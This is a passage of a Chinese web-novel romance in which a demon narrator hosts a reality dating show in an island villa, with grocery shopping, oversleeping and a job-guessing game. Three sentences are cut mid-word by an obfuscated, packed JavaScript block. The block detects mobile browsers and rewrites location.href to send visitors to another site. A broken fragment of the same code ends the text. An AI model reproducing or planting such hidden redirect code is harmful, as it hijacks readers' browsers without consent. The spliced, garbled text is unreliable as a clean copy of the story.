裴问青在我耳边道:“有没有喜欢的?” 水果不在采购清单里,相当于由我们自己决定。 这种优先选择权还挺有意思。裴问青在摄像机前还是很会表现的。 所以绝对是那个别墅有毛病。 “我不挑,在群里问问他们吧。” 我对他说道。 裴问青脸上闪过若有所思的神情,他看了一圈,挑了西瓜和葡萄,也算是夏季经典代表水果了。 封之南两手提着称完重量打上价格签的菜,一并放进了推车里。 “祝叙乔。”他喊了我一声,我看向他,他抬起手,朝推车里伸了伸手指:“要是累了就坐进来吧。” “……我比推车都大。” 我无语道,又看见了裴问青的表情:“为什么要露出一副计算可能性的表情啊!” 裴问青伸手比划了一下推车大小:“其实也是可以的……” 真想把人类的脑子拆开来看看里面装了什么。 “我来推车吧。”为了杜绝被这俩人抬起来丢进推车里的行为,我率先抓住了推车的扶手,强行从封之南手里夺得掌舵权。 蔬菜和水果买完后,我们去了肉类区,封之南明显对自己挑东西的眼光怀有强烈的自信,走在前面跃跃欲试。 裴问青在我的身边,跟随我推车的步调。 推到一半就有神秘的指引在我大脑中循环播放:趴下吧,趴下吧。 居然敢怂恿恶魔,简直是勇气可嘉。 所以我遵循神秘的指引缓缓放低身姿,最后半个身体都趴在了推车上。 和推车融为一体,走路都有力气了。 “噗嗤。”身旁传来一声笑,我抬起头,看见了裴问青抽动的嘴角。 在我试图缓缓起身的时候,他的手按在我的肩膀上,我在他的帮助下重新回归了推车的怀抱。 “想趴就趴,没事。” “如果你不笑的话我会趴得更加自在的。” 裴问青还是没忍住,又笑了一声。 我低着头,假装没听见他的笑声。 封之南不知道狂奔到哪里了,实在是个过分活泼的人,几秒就消失的无影无踪。 好在后来在收银台那里见到他,这次他手里装着的鲈鱼得到了裴问青的认可——因为是杀鱼师傅给他挑的。 食材买完后我们回别墅,下车的时候,我看见那群摄影师脸上都挂着诡异的微笑。 不知道拍到了什么东西才会让他们露出那种鬼样子。 不过这些与我无关了。一进别墅,封之南又恢复成冷冰冰的样子,全身上下透着诡异的味道,和在超市里简直判若两人。 裴问青没有明显表现出沉默,但脸上的笑意还是减淡不少。 做饭三人组在开放厨房里忙活,全程只能听见锅碗瓢盆碰撞的响动声。 我有些茫然地看着他们做饭,实在不明白这别墅到底有什么魔力。 总不至于给他们都下了哑巴药。 看着比我这个阳痿还要性冷淡。 我揉了揉肩膀,挪到中岛台前努力撑眼皮问道:“有没有我能帮忙的?” 徐明歌正在切菜,听到我的声音时脚底仿佛装了弹簧,蹭地一下把菜刀剁进砧板里,一蹦三尺高。 我有些震撼地看着他,裴问青走到我的身边,倒水的同时顺便给我倒了一杯:“他们能解决。” 徐明歌用感激的目光望向他。 楼序正在处理鱼,程况野亢奋地在厨房里忙上忙下,看起来安静且乱,但井然有序。 “去超市的路上还犯低血糖,你坐着好好休息吧。”裴问青对我道。 我抓了抓头发:“还好。” 其实一点也不好。 去了趟超市,我感觉我的能量槽已经彻底清零,差一点就能直接倒地不起。 “那我去房间收拾行李。”我对他说。 拎着行李箱上楼时,封之南正坐在沙发上看手机。 “要帮忙吗?”他放下手机,问道。 “我好歹是个成年男性……”我婉拒他的好意,拎起没什么重量的行李箱,幽灵似的飘进了房间。 11 窗景的确很漂亮。 我打开门的那一刻,海面晚霞猛地涌入我的视野。 这里应该要中插一段华丽的景色描写。 但我是个文盲,所以我只会说“啊真好看”。 说要整理行李箱也没必要,因为我压根就没带多少东西。 敏锐的嗅觉将床铺被太阳晒过的味道送入鼻腔,我眼前开始发晕,手指碰到被子后,全身也跟着倒下。 一秒后,我失去了意识。 12 房门被重重敲响的时候我只恢复了一点意识,勉强往门口的方向动了动后,行动大业还是被困意阻拦,直接挂在了床沿。 门锁响动,我听见了有人进来的声音,急切紧张,嘈杂纷乱,甚至还有何臣的声音杂在里面。 直到有人说我是不是病危,我才艰难睁开眼为自己正名:“我……还没死……” 那声音到底是谁,还有一口气到底是怎么说出我已经死了的话。 未免太过分了。 那群人说话的声音逐渐减轻,有人扶起了我,小心翼翼问道:“你还好吗?” 我睁大眼,天花板被好几双眼睛挡住了,无一不是冰块脸,但眼底又怀着关切。 一睁眼就见此场面,亏我是个恶魔,换作常人早就给他们吓得犯心脏病了。 “我只是……有点困而已。” 我颤颤巍巍朝扶住我的人伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090259|149583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出手:“裴问青……能麻烦把我放回原位吗……晚饭我就……不吃了。” 裴问青皱了皱眉,一把握住我的手,正色道:“我知道了。” 我总感觉看见了何臣背过身,封之南拍拍他的肩膀以作安慰,徐明歌在楼序和程况野身后,露出了一双担忧的眉眼。 怎么感觉和出殡一样。 眼皮再次闭上的时候,裴问青善良地把我放回了原位。 原封不动,甚至帮我调整了姿势,确保和我一开始的模样完全一致。 13 再次醒来的时候,能量槽基本恢复一半了,不知道是谁帮忙拉的窗帘,房间内一片漆黑。 摄像头也停止了工作,这个房间里只有我自己。 我开了灯,坐在床上发呆。 身后有什么玩意儿四处乱蹦跶,不停抽我的手。我低头看了眼,是我的尾巴。 睡醒就会出现暴露原身的情况,我摸了摸脑袋,角也冒了出来。 这种情况等我彻底清醒后就会恢复原状,尾巴不太受我控制,往我腰间抽了一记。 我去抓它,被它逃开了。 实在不能理解都是我身体的一部分,为什么这尾巴压根不听话。 我坐在原地,任由尾巴抽我自己,抽了七八下后,它和头上的角乖乖缩回去了。 空荡荡的胃让我有点恶心。床头柜摆着的手机正在充电,我取了充电线,手机时间显示深夜两点。 有三条未读短信。 看来我这一觉就把今天录制的重要环节睡过去了。 头发不用照镜子都知道已经炸成烟花,我拿上手机,蹑手蹑脚打开房间门。 别墅内一片漆黑,只有摄像头在工作。 我站在房间门口打开那三条不知道谁给我发的短信,有些悲伤地想这档恋综的氛围感已经一去不复返了。 短信全都是通过节目组的电话发来的,第一条是“中岛台上有零食,睡醒饿了去吃”。 第二条是“睡觉前麻烦预警”。 第三条是“注意身体”。 突然的睡眠好像把他们都吓到了。 前两条短信我大致能猜出是裴问青和封之南发的,至于第三条,我不知道是那三个人里的谁。 估计是徐明歌,程况野给我的感觉是发消息一定带感叹号。至于楼序,我严重怀疑说我快死了的那个人就是他。 我摸黑去了中岛台,只从袋子里翻出了巧克力开始啃,啃完两条之后,才感觉脑子稍微能活动。 二楼的房间门都是紧闭状态,深夜两点估计全都睡了。 “祝叙乔?” 有人站在楼梯口,疑惑地喊了一声。 我抓着巧克力包装袋的手一紧,白天那柄悄无声息出现在我视野里的剪刀带来的感觉又来了。 裴问青打开了客厅的灯:“怎么不开灯?” 他什么时候打开的房间门,又是什么时候走下楼梯的,我根本没反应。 “我在吃巧克力。”我晃了晃手上的包装袋,用看似随意的目光谨慎地打量了他一遍。 “只吃巧克力够吗?你今天好像都没怎么吃东西。”裴问青道。 人类的餐点的确很好吃,但我狭窄的食谱并不包含这些。 “还好,这个时间点也不适合吃太多东西吧。” 他走到中岛台前给自己倒了杯水,又拉开一旁的椅子坐下:“脸色看起来好了不少。” 我尽可能忽略他给我带来的隐蔽感:“睡了一觉,精力恢复不少。” 裴问青抿了口水,低声问道:“身体真的没问题吗?” 人类世界里随时随地昏睡似乎是很严重的问题,我无意让他过分紧张担忧,随口道:“天生的,没睡够一定时间就这样,不用太紧张。” “你叫也叫不醒,把他们吓了一跳。”他轻笑一声,放下了手里的水杯。 我趴在中岛台上,转动那颗费列罗:“睡的比较死,不好意思啊。” 他没说话,我却能察觉到他的视线落在我的脸上,很安静的视线,就像只是在观察。 “很晚了,回去睡觉吧。” 半晌后,他终于再次开口。 “晚安。” 我对他说。 5. 录制第二天(1) 14 早上起来看到手机上显示的时间后我就意识到不好了。 下午一点钟,很令魔震撼的时间。 不出意外看到了何臣给我发的短信:【上了节目稍微注意一下时间,你还有任务在身!别忘了你的毕业证书!】 我抓抓头发,给他回了消息:【花了香蕉的钱只能请到猴子。】 何臣估计在盯着拍摄,回消息的速度一时间竟也非常迅速:【你不是只想要香蕉吗?】 何扒皮啊。 我丢开手机,从行李箱里翻出一条黑色的无袖卫衣和一条黑色运动裤套上,钻进卫生间洗漱。 头发完全是烟花形态,根本压不下去,我只能戴上卫衣帽子出房间。 别墅里很安静,别墅外鸟叫都比别墅内大声,只有中间夹杂的几缕呼吸声在提醒我,有活人。 我下了楼,冰川们各自占据一块位置,膝盖上都放着一台电脑,安静处理自己的事情。 比起昨天遥不可及的楚河汉界,今天倒是熟稔几分,彼此间的关系亲密了一点五个身位,这让作为主持人的我深感欣慰。 同时也想起来今天还有个互相猜职业和年龄的环节。 珍浮岛离内陆有段距离,节目组是铁了心地要在这里玩一出浪漫海岛之恋,嘉宾们除了我,基本都有工作在身,现在没法线下上班,都是远程办公了。 怕打扰他们,我放轻脚步,蹑手蹑脚往厨房走。 “你醒了?”裴问青摘下耳机,从电脑后抬头问我。 “醒了。”我点点头,“你们都在工作吗?” 我也没指望他们会回答我,在倒水的时候楼序却开口了:“我在工作。” 裴问青也点了点头:“事情比较多。” 封之南摆了摆手,随意道:“我比不得他们几个大忙人,闲的要命。” 徐明歌倒是一如既往胆怯安静,头戴式耳机完全拦下了外界的声音,只是朝我微微点头以示招呼。 至于程况野,说真的他好烫,我总感觉他今天散发的温度已超过昨天:“我在写论——东西,祝叙乔你今天要做什么吗?” 我缓缓放下水杯,古怪地打量他们。 又回过头看了眼摄像头。 又看了眼他们。 裴问青似乎看出我的疑惑,伸手点了点中岛台:“给你留了吃的,先垫垫肚子。” 我看向中岛台,放着洗干净的葡萄,切好的黄桃和蜜瓜,似是怕不够,还有盒切好的寿司。 程况野收起电脑,走到我身边道:“本来还给你留了饭菜,裴哥、唔。” 他说了一半,和老旧的收音机似的卡壳,半会儿才继续道:“你需保持身材,所以只备这些。” 这话说得古里古怪,活像突然被什么东西夺舍,硬要装出一副稳重成熟的模样。 那双眼睛还滴溜溜转,不知道算是哪门子的稳重,全身上下一会儿烧得和沸水似的,一会儿又冷水浇头,全然冷静下来。 铁定是中了邪才有这种莫名其妙的情况。 我看向裴问青和封之南,这俩人话稍微多些,希望他们给我个答案,然而两人只是摇了摇头,凌晨还操心我身体的裴问青低着头,装作没看见我的眼神。 程况野傻站在一边,我甚至能看出他眼底带了一点点的希冀。 他到底在期望我什么啊! 我拉开椅子坐下,翻出一柄叉子:“多谢,我是要保持身材。” 这一天三餐其实我也吃不了什么东西,还不如直接拿我这个三十八线开外艺人的身份当借口,在饮食上有限制,这样单单吃水果就不会有太让人起疑心。 我开始叉蜜瓜了,程况野还站在我身边没动。 木桩子似的。 我低下头看了眼果盒,默默把第一口递给了他:“你要吃吗?” 要吃的话为什么不开口。 程况野没动,奋力摇了摇头。 不知为何,叉子上的那块蜜瓜忽然承载了它不该承受的重量。不远处沙发上,裴问青几个人纷纷抬起了头,意味不明地盯着那块蜜瓜。 我刚睡醒没多久,只觉得他们盯着蜜瓜的眼神也多了分期待,茫然问道:“你们也要吃吗?” 不过他们也不太会讲话,我这么问一句也挺有必要。 谁叫这一屋子只有我一个恶魔有嘴巴呢,何臣还降大任于我,我自然要承担这等重任。 虽然就出了个香蕉钱,但换来我这么一个会干活的猴子,谁不说一句资本家好算盘。 连猴子都能奴役成这个样子。 “本来就是给你准备的,你自己吃吧。我们都吃过饭了,冰箱也还有,想吃自己去拿就好,哪里会和你抢。” 最后还是裴问青无奈开口解释,我看向程况野,他重重点了点头。 “……你可以和我直接说。”我默了默,还是决定发挥一下没有的良心,提醒他人长了嘴巴除了吃饭还是可以用来说话的。 程况野感激地看着我,沉稳道:“好。” …… 他们到底想干什么。 我坐在中岛台前把那盒果切和葡萄吃完了,今天的流程就是猜个职业和年龄,节目组也没有一直给我们安排任务,甚至连剧本都没。 大部分还是要看嘉宾们自己的发挥。 只不过我们这一屋子都安静得要命,一定需要点外力进行推动。 肚子不至于空荡荡后,我把叉子拿去洗了,想着没影的任务,挑了张单人沙发坐下,面前几个人都在盯电脑,我也不好打扰他们工作,只能翻出手机开始打消消乐。 打了十几关后,我终于无聊到开始翻为数不多的聊天列表。 顾寒声正在合欢宗念博士,估计很忙,骚扰他都不一定有结果。 挑衅拱火方哥是很有意思,只不过方哥头顶疑似日渐稀疏,他比我矮了半个头,我一低头就能看见他几根黑发半遮半掩头皮的头顶。 看起来有点太可怜了。 学院结识的舍友们也忙于自己的事业,准备大展宏图,我这个没工作的末流艺人成了最无聊的一个。 我窝在沙发里,无声叹了口气,索性直接给何臣发短信:【你老实和我说,节目组是不是还有别的非人物种?】 程况野那个被夺舍的模样实在太古怪,封之南昨天出了趟门,在超市的时候话可多了,称得上是健谈之人。 结果回来之后也差不多是个哑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090260|149583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴了。 既然我这个魅魔都能出现,这种古怪情形也就有可能是有外力在作祟。 我越想越觉得合理,不是有非人物种,就是有什么稀奇古怪的禁制。 何臣如果给我私自上任务难度,我要把西瓜皮扔他脑门上。 大不了当峨眉山的泼猴。 我盯着手机屏幕,何臣的回话多了分斟酌,好一会儿才收到他肯定的答案:【没有。】 【祝叙乔:真没有?】 【何臣:我有什么必要在这种事上和你撒谎,给你找麻烦不也是给我找麻烦吗?我还指望这季节目有爆点。】 我让他做梦比较快,他很粗鲁地让我滚。 让他认清现实还不好,狗咬吕洞宾,不识好魔心。 人类世界真麻烦。 恶魔做法就干脆多了,看谁不爽就决斗,把对方吃了都没关系,反正是自己要决斗的。 哪里有那么多弯弯绕绕。 我收起手机,缩在沙发上的时候意识到了不好。 因为又要睡了。 15 再次醒来是因为厨房里传来的低声絮语。 我睁开眼,回过头往厨房看去,今天做饭的人换成了裴问青,封之南和徐明歌,程况野和楼序坐在中岛台前处理食材,一个摘豆角,一个切玉米。 身上盖着一条毛毯,挡了一部分空调的冷气,才不至于让我手脚冰凉。 就是不知道哪位善良的友人替我盖的毯子。 这些只能看后续节目播出才能知道答案。 我打了个哈欠滑下沙发,溜达到厨房问道:“有什么我能做的吗?” 大家都在干活,只有我一个游手好闲未免太过分。 裴问青正在炒滑蛋,神情专注,还一边指挥封之南往锅里倒沥干水分的虾仁。 “油会溅起来吧?”封之南面露难色,端着虾仁的手勉强凑近灶台,自己却和灶台差个十万八千里。 裴问青拎着锅铲,回头看了他一眼,毫不顾忌攥住他的手腕强行指挥他倾倒沥水篮,虾仁入锅,油溅到了封之南的手腕上。 看样子应该就两滴油。 封之南颤颤巍巍放下沥水篮,一言不发神色凝重如临大敌地去冲冷水了。 不知道的以为他被炮轰。 徐明歌身子矫健绕过封之南,递给了我一盆毛豆,轻声道:“可以剥毛豆吗?” 我惊讶地看着发出声音的他,接过了那盆毛豆:“当然可以。” 程况野摘豆角的速度奇快,每一段都摘得差不多长,我瞥了他一眼,他似是注意到我的视线,朝我露出了格外灿烂的笑容。 我不自觉抬手挡了挡。 好刺眼的笑容,都快日落了,还能有个太阳出现在我的面前。 我努力朝他也扯出了一个微笑作为回报。 他朝我竖了个大拇指。 说实话,有点莫名其妙。 笑完后我低下头剥毛豆。厨房内热油声响亮,时不时响起水流声,断断续续。 一旁楼序哐哐剁玉米,程况野摘豆角的声音清脆。 我丢开毛豆壳,一时间有些恍惚。 好像在拍生活服务纪实节目。 6. 录制第二天(2) 16 唯一值得庆幸的事是晚餐顺利完成了。餐桌是一张长桌,吃饭的时候格外像在开什么会议。 封之南端着饭碗坐下的时候很疑惑地问裴问青:“这张餐桌到底是哪个销售员推荐给你的?” 我趁他们注意力都在桌子上的时候,悄悄打了一小碗饭,甚至收拾了造型,尽可能让这碗饭看起来蓬松一点。 裴问青回道:“所有人都能坐下,挺合适的。” 显然徐明歌也很喜欢这张桌子,我看着他端着饭碗一次性坐到了餐桌的另一端,离所有人最远的距离。 我勉强把那碗饭吃了,面前的菜一点都不想碰。 这算是我来到节目后和所有人正式吃的第一顿,昨天的和今天中午的情况不用想就知道很安静,今晚倒是吵闹了一点。 主要是封之南和程况野在聊天。 “明天你们有事吗?”封之南问道。 “你准备安排什么出行计划?”我转过头看着他问道。 封之南道:“总这样待在别墅上班还是无聊了点,正好靠海,出去看日出赶海也挺好。” 他拿手肘轻轻碰了碰我:“祝小乔,怎么样?” 我不知道要先吐槽他喊我祝小乔这件事,还是要先吐槽他问我一个起床困难户要不要去看日出。 “别这么叫我……如果去的话会努力起来。” 裴问青放下筷子平静道:“明天下雨,没有日出。” 封之南惊讶道:“我刚刚看到还是晴天。” “天气预报也有不准的时候。”裴问青说。 他身旁坐着的程况野一脸期待:“想出去逛逛,一直闷着好无聊。” 下雨这件事不能阻碍他,我估计他就是想要出去放风而已。 楼序长了张寡言少语的脸,言简意赅道:“起不来。” 半点面子都没给封之南。 桌尾的徐明歌大概是看不下去封之南这么惨淡的发言呼应,小声道:“明天应该有事要做吧……” 封之南长叹一口气,满脸忧郁:“你们几个一点都不浪漫啊。” 有那个玩浪漫的时间不如多睡一会儿,反正我没那个艺术细胞。 我转过头看他:“你受什么刺激了吗?” 封之南故作玄虚,神秘道:“我自由了。” “怪不得要去看海。”我上下打量了他一眼,“志向远大。” 晚餐过后是猜职业年龄环节,何臣给我发消息,估计手指都要搓出火星子,拼命催我有点干劲。 长辈催婚催生我看都没他那么急。 17 两天时间的无效交流并不能获得太多信息,坐在客厅的时候,光是从谁开始猜就换来了大眼瞪小眼的结果。 “要不从裴问青先开始吧。”我开口道。 这栋别墅是他的,就有很多信息可以说了。 裴问青没什么意见,看向我时嘴角噙笑道:“看来你觉得我比较好猜。” “嗯。”我点点头。 这套别墅在珍浮岛的度假村内,位置很好,大概也属于高端住宅,没有对外出租痕迹。看裴问青第一天来时一身正式的西服,就能猜到他平时也不常在这里住,估计有假期,想来放松心情才会住这儿。 按照人类的职业划分,我摸了摸下巴问道:“公司高管?” 什么产业我就不知道了。 裴问青笑了笑:“倒也没猜错。” “那年龄呢?”程况野在一旁好奇问道。 年龄话题按照社交潜规则,基本都是往小了说,何臣也不可能找年龄太大的嘉宾上节目,我就索性按小了猜:“二十八岁左右?” 做到公司高管的年龄太小也不可能,这个年龄区间已经算是委婉说法。 裴问青一愣,认可了答案:“我今年三十,有一家自己的公司。” 他后半句话往谦逊的方向说了,我也只当下笑话听听。 程况野显然对现在的环节很感兴趣(他就没有不感兴趣的时候),一双眼睛放光盯着我看:“那我呢?” 封之南好笑道:“这么激动?” 程况野说:“就靠那么一点点信息猜测很有意思啊!” 说话都能带感叹号了。 我往后仰了仰,和他拉开距离,故作端详的姿态看了他两眼,迟疑道:“学生,二十三左右。” 下午他自己说漏嘴,在写论文就能猜出还是学生,大一大二年纪太小,不合适,要么大三大四,要么研究生,心思干干净净,一眼就能看穿。 程况野脸上陡然爆发出惊喜,鼓了鼓掌:“好厉害,全对了。” “你脸上心思全暴露干净了,怎么可能猜不出来。”封之南屈指往他脑壳上敲了敲,最后恶劣地拿程况野的脑袋当了支架:“祝小乔,我呢?” “不要这么叫我……”我甚至都不知道他这个称呼是怎么想到的,无奈地叹了口气。 封之南身上有种诡异的气息,第一天和他见面的时候就感觉出来了,只不过他的冷脸压抑了那份气息。直到现在他“自由”了,讲的话也变多,不受压抑的诡异气息就彻底暴露。 伴随嘴角那抹若有似无的笑,我总算找到了合适的形容词来形容那个气息。 轻浮。 花花公子味道的轻佻男。 “怎么了?”他疑惑开口,“为什么突然用看人渣的眼神看我啊!” 戏真多。 “我没有。”我面无表情驳回了他的污蔑,“你自己看错了。” 很想说他是个无业游民,但周围毕竟有摄像头在,于是我换了个委婉的说法:“自由职业,年龄的话……二十七左右吧。” 他看着不像是学生,太老奸巨猾了。 “噗嗤。”裴问青坐在一旁忽然笑了一声。 他这笑声不知道为何,我听出了一点嘲笑的意思。 封之南幽怨地看着我:“全部猜错了。” 我努力忍了一下,还是没忍住:“是你要让我猜的,那肯定有猜错的几率。” 人类麻烦死了。 封之南学过变脸,迅速换了副嘴脸道:“我在不好说的单位上班,今年二十五。” 这次不是我了,是大家。 “不是,你们为什么要用难以置信的眼神看我啊?”他睁大眼问道。 “你不像。”楼序耿直道。 好残酷的回答。 不过封之南他们单位竟然允许他来参加节目,估计也是性质特殊。 徐明歌安静地坐在沙发上,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090261|149583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话一直很少,我现在基本能判断他是单纯的不敢社交才不说话,而不是什么冰山人设。 他看见我的视线,垂下眼眸笑了笑,明显在回避我的视线。 “那徐明歌呢?”程况野一把搂过他,把他推了出来。 徐明歌尚未反应过来,连呼吸都停了,我怕他一口气喘不上来,语速极快道:“学生或者是自由职业,年龄的话二十五岁左右。” 全场安静下来,程况野更是兴奋道:“真的吗?” 徐明歌摇摇头:“是视频博主,年龄的话……我已经二十九了。” 程况野倒吸一口冷气。 我也差点倒吸一口冷气。 徐明歌看着面嫩,实在不像奔三的人,更别提他身上还有种没沾过社会气的纯真,压根分辨不出年龄。 他和裴问青站一块,气场像是两辈人。 到了楼序,实在是判断不出来。 就一块石头,石头脸石头心,说话也硬邦邦。他看向我,我停了半天,才勉强憋出一句:“嗯……学生?年纪的话,二十四岁左右。” 楼序有股和程况野如出一辙的小动物味道。 恶魔有时候看人准,有时候看人不准,我大多时候都是不准的那个,就像是赌。 楼序的脸上难得多了点得意:“年龄对了,职业不对。” 我也不知道他到底在得意什么,虚心求教:“那是什么职业?” “乐队贝斯手。” 他说。 还挺适合他。 这一圈人猜完,我才发现有点不对劲,缩在沙发上茫然地看着他们:“为什么就我一个在猜?这不是所有人一起猜的环节吗?” 说到最后就我一个在那儿可劲猜,这五个家伙盯着我看,看动物园的猴儿似的。 我一想到这,忽然觉得也没有多大问题,来这节目,摄像头下,我也和猴儿没区别了,只不过现在看我的人就在我面前而已。 节目播出后多的是人。 “所以现在轮到我们猜你了。”封之南笑眯眯道。 他笑得好轻浮,老让我想到在合欢宗读博士的顾寒声,惹得我特别想冲他开炮。 “猜吧。”我再次套上卫衣帽子,挠了挠鼻尖:“我干嘛的,还有年龄。” 程况野和楼序俩傻子猜我年龄大点兵似的,从二十岁一点点往上加,我听的不耐烦,直接让他们报个数。 “那就二十五吧。”保险起见的程况野取了个折中的答案,楼序当机立断否认他:“他天天睡觉精力那么差,年纪不会那么小,我猜三十。” 我就知道昨天房间里说我快死了的崽种是他。 他性格就一块石头,我懒得和他计较,又听封之南说:“我猜职业是模特,年龄的话,二十五岁。” 我走路常年姿态松垮,就没有站直过,他居然会觉得我是模特。说我是风餐露宿寻找灵感的流浪设计师都好过是个模特。 于是对他的回答我摇了摇头,徐明歌安静地笑了笑,没说话。 只剩下了裴问青,我看向他:“能猜到吗?” 他笑道:“我猜是艺人,年龄我猜二十七岁。” “哇哦。”我不带什么感情色彩地感慨,“Bingo。” 猜对了。 7. 录制第三天(1) 18 我还是很好奇裴问青到底是怎么猜出我的职业的,多问了一句:“怎么猜出来了的?” 裴问青笑道:“我看过你演的戏。” 他这话说的折煞我了,还看过我演的戏,我自己都不知道我演过什么。 程况野一脸兴奋道:“原来是大明星。” “别。”我抬手拦下他放出的厥词:“我演的都是尸体。” “那也很厉害,能让人认出你,演技想必十分过人。”封之南不鸣则已,一鸣惊人,一张嘴把我和裴问青一块调侃了。 难怪能在不可言说的单位上班,这张嘴可真是厉害。 “挺适合你的。”楼序说。 他这张嘴和封之南就差了个十万八千里,一张口就很想让人往他嘴里塞块石头。封之南哥俩好似的搂过他的肩膀:“楼序,有没有和你说过沉默是金?” 楼序不怎么给他面子,轻巧拨开了他的手:“这四个字比较适合你。” 摆明着不准备和他做“一丘之貉”。 封之南脸上全然不见被冒犯的神色,我也懒得猜他为什么一个下午就变了副模样。 其余人也是,估计是何臣和他们说,在摄像头前积极一点,大方一点,别话少内向叫人看扁了。 讲不讲话都是他们的自由,我懒得管。 爱说就说,不说就安静也挺好,正好落得清净放我去睡觉。 围坐在一块猜完职业和年龄,几个人也没什么事情可做,正准备回房间,节目组的工作人员先来了。 他们要准备进行节目预热宣传。 我拿着手机,突然反应过来我没有微博号。 “你不是艺人吗?”封之南惊讶地看着我。这点我还真没考虑过。 进娱乐圈只是阴差阳错,我本来是想找个实习对象完成我的毕业实习,然后立马回学校申请毕业手续,拿到毕业证书就地狱银行取我爸妈留给我的东西。 哪里会想到在人类娱乐圈一直演尸体,压根没有什么出头之日,互联网认识我的都不一定有,这种情形谁有兴趣建一个账号运营自己。 方哥倒是说过,但我一向把他的话当放屁,根本就没入过耳。 我也玩不来这些东西,对着镜头凹造型自拍的时间我宁肯拿来睡觉。 工作人员显然没想到六个嘉宾里还有我这么一条漏网之鱼。 连裴问青都有微博账号。 我缩在沙发上,被一群人包围创建账号,程况野看什么都热闹,封之南是不嫌事儿大。 裴问青倒是好心站我旁边,替我拦了拦这俩人。 根本不知道他们在兴奋什么。 初始账号就一串乱码和灰色头像。我知道这账号是要认证我本人,节目组@出来有个大名也很好,但我不大想直接拿名字来用。 干脆保持乱码不动。 至于头像,灰色头像也挺不错的。 “好了。”我把账号给工作人员看,能明显看见她的眼皮跳了跳:“就这个了?” “就这个了。”我斩钉截铁道。 她脸上的神情快速变换,最后还是容忍了我。 “还想看你换什么头像。”封之南长叹一口气,挺遗憾的模样。 我平静地看着他:“让你失望真不好意思啊。” 旁边突然传来放光似的眼神,我一把挡下:“不要期待地看着我,初始账号很不错。” 程况野和封之南同步发出了一声遗憾的叹息。 裴问青平静开口:“时间不早了,回去睡觉吧。” 我就等这句话,这时间对我而言的确不早了,我需要好好睡一觉补充体力。 楼序轻轻嘀咕了半句话,后半句似乎是被直接堵了回去:“八点就算时间不早——” 我假装没听到,高高兴兴回房间去了。 上楼的时候,我才发现裴问青就住在我隔壁的房间。 我这两天和他们所有人的作息都是错开的,抽签的时候也没认真听,就没关注过他们住在哪儿。 没想到裴问青会那么巧。 “发完短信就早点睡。”他对我温和道。 被他提醒我才想起来还有个发短信的任务。回房间后,我拿着手机,纠结了一会儿要给谁发。 纠结的过程突然想起来节目组压根没有给发短信的人数进行限制。 我在工作的摄像机前,毫不避讳地选择了群发短信。 短信的内容是很统一的晚安。 任务完成,内容也挑不出错处,我手机一丢,对回信并不感兴趣,径自去卫生间洗漱后,倒头就睡。 19 醒来的时候能听见雨珠拍打玻璃窗的声音。 我坐在床上愣了一会儿,才套上衣服迷迷糊糊下床拉开窗帘。 今天天气果然和裴问青说的一样,水雾缭绕,雨丝细细密密结成网,网住了这一座海岛。 别说看日出,海都没得看。 我站在窗前伸了个懒腰,洗漱后打开了手机。 早上六点四分,是一个令我难以置信的时间。 我竟然也有起这么早的一天,甚至不困。 震惊完后我看见下方的信息提示,有两条来自昨晚的短信。 在我统一发出晚安后,我也收到了统一的晚安。 看完之后我拿着手机出了房间。楼下安安静静,只能听见点雨声。 直到往厨房走,才听见除却雨声之外的动静。 裴问青站在中岛台前,手里端着一杯咖啡,有些惊讶地看着我:“今天那么早?” 我打了个哈欠:“我也没想到。” “要喝吗?”他指了指咖啡机,我摇摇头:“苦的。” 加了致死量的糖和奶精都感觉有股怪味,人类真是致力于尝试各种稀奇古怪的食材。 更别提我沾了点咖啡就容易暴露原型,还会莫名其妙感到悲伤,我才不喝。 他笑了笑,并没有继续咖啡的问题,反而在我对面坐下:“早餐想吃什么?” “等他们起床再说吧,我不挑。”我给自己倒了杯白水,有一搭没一搭喝水。 “吃早餐的也就一个徐明歌,剩下三个全是不吃早餐的。”裴问青说,“我和徐明歌口味对不上,干脆分开自己做了。” 他放下手里的咖啡,问我:“要不要吃蜂蜜松饼?” 我一愣,又听他说:“你不是喜欢甜的吗?” 拒绝别人好意似乎不太好,我点点头,站起身往厨房里走:“有什么我能帮的?” 裴问青拿出低筋面粉和泡打粉,又从冰箱里拿了四个鸡蛋,递给我一盒蓝莓和一盒草莓:“把蓝莓和草莓洗了。” 安排小活他也没客气,我拿着那两盒水果,无端松了口气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 